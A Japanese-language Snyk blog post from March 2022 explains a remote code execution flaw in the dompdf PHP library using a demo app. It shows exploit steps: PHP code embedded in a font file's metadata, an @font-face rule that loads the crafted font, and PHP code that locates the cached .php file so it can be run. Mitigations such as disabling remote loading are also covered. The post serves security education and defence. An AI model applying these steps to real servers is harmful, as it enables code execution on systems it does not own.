Skip to main content

dompdfにセキュリティ警告:人気のPHP PDFライブラリでRCE脆弱性が発見

著者
Headshot of DeveloperSteve Coochin

DeveloperSteve Coochin

blog social php composer

2022年3月18日

0 分で読めます

最近、Positive Securityの研究者が調査結果を公開し、人気のPDF生成ライブラリdompdfに重大なリモートコード実行(RCE)脆弱性があることを明らかにしました。報告では、アプリケーションにコードを読み込ませ、PDFの生成中にリモートから実行する方法が説明されています。

dompdfはPHPエコシステムで広く利用されており、オープンソースのプラットフォームやプロジェクト59,000件以上で使われています。dompdfのPHP Composerページだけでも、2014年にPHPパッケージマネージャーで公開されて以来、インストール数は約5,000万回に上ります。

この記事の執筆時点では、この脆弱性に対する修正はまだありません。考えられる対策として、PDF生成プロセスでカスタムフォントスタイルを読み込めないようにする方法や、フォントキャッシュフォルダーへの書き込みアクセスを制限する方法があります。また、使用しているライブラリやアプリケーションに必要な機能に応じて、Composerのインストール先へのアクセスを制限するのも有効です。

dompdfのバージョン => 0.8.6では、$isRemoteEnabled設定を無効にすると、font-face CSSルールによるカスタムフォントの読み込みを防げます。ただし、これによって互換性が損なわれる可能性がある点に注意してください。さらに、バージョン<0.8.5ではこの設定が使われていないため、$isRemoteEnabled設定ではこの脆弱性を修正できません。

この記事では、この脆弱性の仕組みを見ていきます。コードや脆弱性をより深く理解するうえで役立つのは、実際に手を動かしてみることです。そこで、SnykのGitHubリポジトリにあるphp-goofアプリケーションを使ったデモを通して、この脆弱性を検証します。

PDFライブラリ

アプリケーションでのPDF生成は、開発者としてあまり好きではない作業のひとつです。PDFの書式やレイアウトを整えるために、コードを変更して生成し、またコードを変更して生成するという、かなり時間のかかる反復作業が続きます。

しかし、HTMLをPDFに変換できると非常に便利です。アプリケーションでPDF生成が必要になる場面は、思っている以上に多いものです。たとえば、ECサイトや、ユーザーの取引データに基づいて領収書を生成し、保存や印刷ができるサイトでは、ほぼ毎日のように利用されています。

そのため、アプリケーション開発でこうした処理を行う際にライブラリを使えば、開発を効率化できます。dompdfのようなライブラリがあれば、開発者はありふれた機能を実装する手間を省き、より複雑な作業に取り組めます。

dompdfの脆弱性を実際に検証する

元のセキュリティ調査結果を読むと、ライブラリ内部で何が起きているのか、どのように悪用されたのかを詳しく理解できます。

dompdfライブラリは、通常の形式のHTMLを受け取り、書式を整えたPDFとして出力します。

// reference the Dompdf namespace
use Dompdf\Dompdf;

// instantiate and use the dompdf class
$dompdf = new Dompdf();
$dompdf->loadHtml('<html><body>hello world</body></html>');

// (Optional) Setup the paper size and orientation
$dompdf->setPaper('A4', 'landscape');

// Render the HTML as PDF
$dompdf->render();

// Output the generated PDF to Browser
$dompdf->stream();

シンプルで使いやすい機能を提供し、一般的によく使われる処理を手作業で行う手間を省きます。この機能の特に便利な点は、通常のHTMLタグを使ってPDFの出力形式を整えられることです。

HTMLにはスタイルも含められます。<html>タグ内に直接記述する方法と、スタイルシートを使う方法があります。スタイルシートではfont-familyを読み込み、フォントファイルへのリンクを含めることができます。

@font-face {
    Font-family:'font name';
    src:url('https://link to a font file’');
    font-weight:'normal';
    font-style:'normal';
  }

ここから少し興味深い展開になります。

dompdfライブラリは、HTML経由で外部スタイルシートを読み込むだけではありません。フォントファイルをローカルキャッシュに保存し、サーバー上のフォントディレクトリに追加したうえで、dompdfのフレームワーク内からfont-familyとその場所を参照します。

エクスプロイトの次の段階では、dompdfの検証を通過してサーバーに保存される一方で、フォントファイルから実行できるPHPコードをフォントファイルに埋め込みます。難しそうに聞こえるかもしれませんが、元の研究者たちは、ライブラリ内の検証ではファイルの種類だけを確認し、ファイルの内容は確認していないことを突き止めました。

php-goofのデモアプリでは、gotcha-normal.otfというカスタムフォントファイルを見ると、仕組みを確認できます。ほとんどの部分は、一般的なフォントデータが含まれた通常のフォントファイルです。しかし、ファイルのメタデータ部分には、標的アプリケーションのサーバーで実行されるPHPコード<php? phpinfo(); ?>が著作権メタデータ欄に埋め込まれています……。そう、これだけで実行できてしまいます。

「gotcha normal」や「normal」などのスタイル名を含む、フォントメタデータが表示されたPHPのphpinfo出力のコード画面

次に、フォントファイルをコードエディターで開いて内容を.phpファイルにコピーするか、ファイル名を変更します。dompdfはファイル内のフォントヘッダーを検証し、キャッシュに.phpファイルとして保存するため、実行可能なPHPファイルになります。

次に、作成した偽のフォントファイルをCSSスタイルのfont-familyとして指定します。php-goofでは、php-goofリポジトリから直接指定しています。

@font-face {
    font-family:'gotcha';
    src:url('https://github.com/snyk-labs/php-goof/blob/main/exploits/gotcha_font.php?raw=true');
    font-weight:'normal';
    font-style:'normal';
  }

注意:dompdfで動作させるには、フォントファイル内で指定されている名前と同じものをfont-family名に使う必要があります。

あとは、PDF出力に使うHTMLにスタイルシートを挿入するだけです。これによりdompdfがそのフォントをサーバーに保存し、リモートから実行できるようになります。ただし、ファイル名はハッシュ化され、フォントディレクトリの場所も異なる場合があるため、ここは少し厄介です。

php-goofでは、dompdfフレームワークを使ってフォントファイルの場所と名前を特定するため、この手順が少し簡単になります。$dompdf->getFontMetrics()->getFont(“gotcha”, “normal”)を使って、dompdfのフォントキャッシュ内で検出されたかどうかを確認します。

if($font = $dompdf->getFontMetrics()->getFont("gotcha", "normal")){  
        $html .= "<a href='http://".$_SERVER['SERVER_NAME'].":".$_SERVER['SERVER_PORT']."/vendor/dompdf/dompdf/lib/fonts/".basename($font).".php'>Gotcha hack</a>"; 
    }

フレームワーク内でgotchaフォントファイルが利用可能になると、生成されたPDF内のリンクとしてパスが返されます。goof-appで確認した脆弱性のスクリーンショットを以下に示します。

スタイルシートへのリンク、タイムスタンプ、編集・削除・メール・PDFのアクションアイコンを含むToDo項目を表示したPHP Goof Todoのインターフェース
ほぼ白紙のPDFページ。上部中央付近に「Gotcha hack」というリンクテキストが表示されている。
ブラウザーにPHPフォントファイルの文字化けした出力が表示され、その上に「PHP Version 8.0.16」という見出しが見えている

安全を守りましょう

調査結果を率直に公開しただけでなく、dompdfのメンテナーに問題を報告するために尽力したPositive Securityのチームに感謝します。

知らないうちにこうした問題が生じていないか、アプリケーションのコードベースを常にスキャンしましょう。Snyk Codeは、フレームワークや関数に潜む脆弱性の特定を支援し、エンドユーザーとそのデータを保護するための適切な確認を可能にします。

オープンソースの依存関係を安全に

開発者を第一に考えたSnykのツールなら、脆弱なオープンソースの依存関係やその推移的依存関係を、ワンクリックで修正するプルリクエストを作成できます。

関連リソース

続きを読む

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSecのご紹介:AI開発のスピードに対応するセキュリティ

AI駆動型開発のスピードに、従来のセキュリティワークフローは追いついていません。SnykのAgentic AppSecは、セキュリティエージェントが脆弱性を継続的に検出、修正、検証し、人が基準を定められるようにします。

blog feature ai violet
Blog

VulnBump:AIエージェントはビルドを壊さずに脆弱な依存関係を修正できるか?

VulnBumpは、実際の依存関係アップグレード307件を対象にAIエージェントをテストします。脆弱性が解消され、ビルドとテストが成功した場合にのみ、修正としてカウントされます。

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。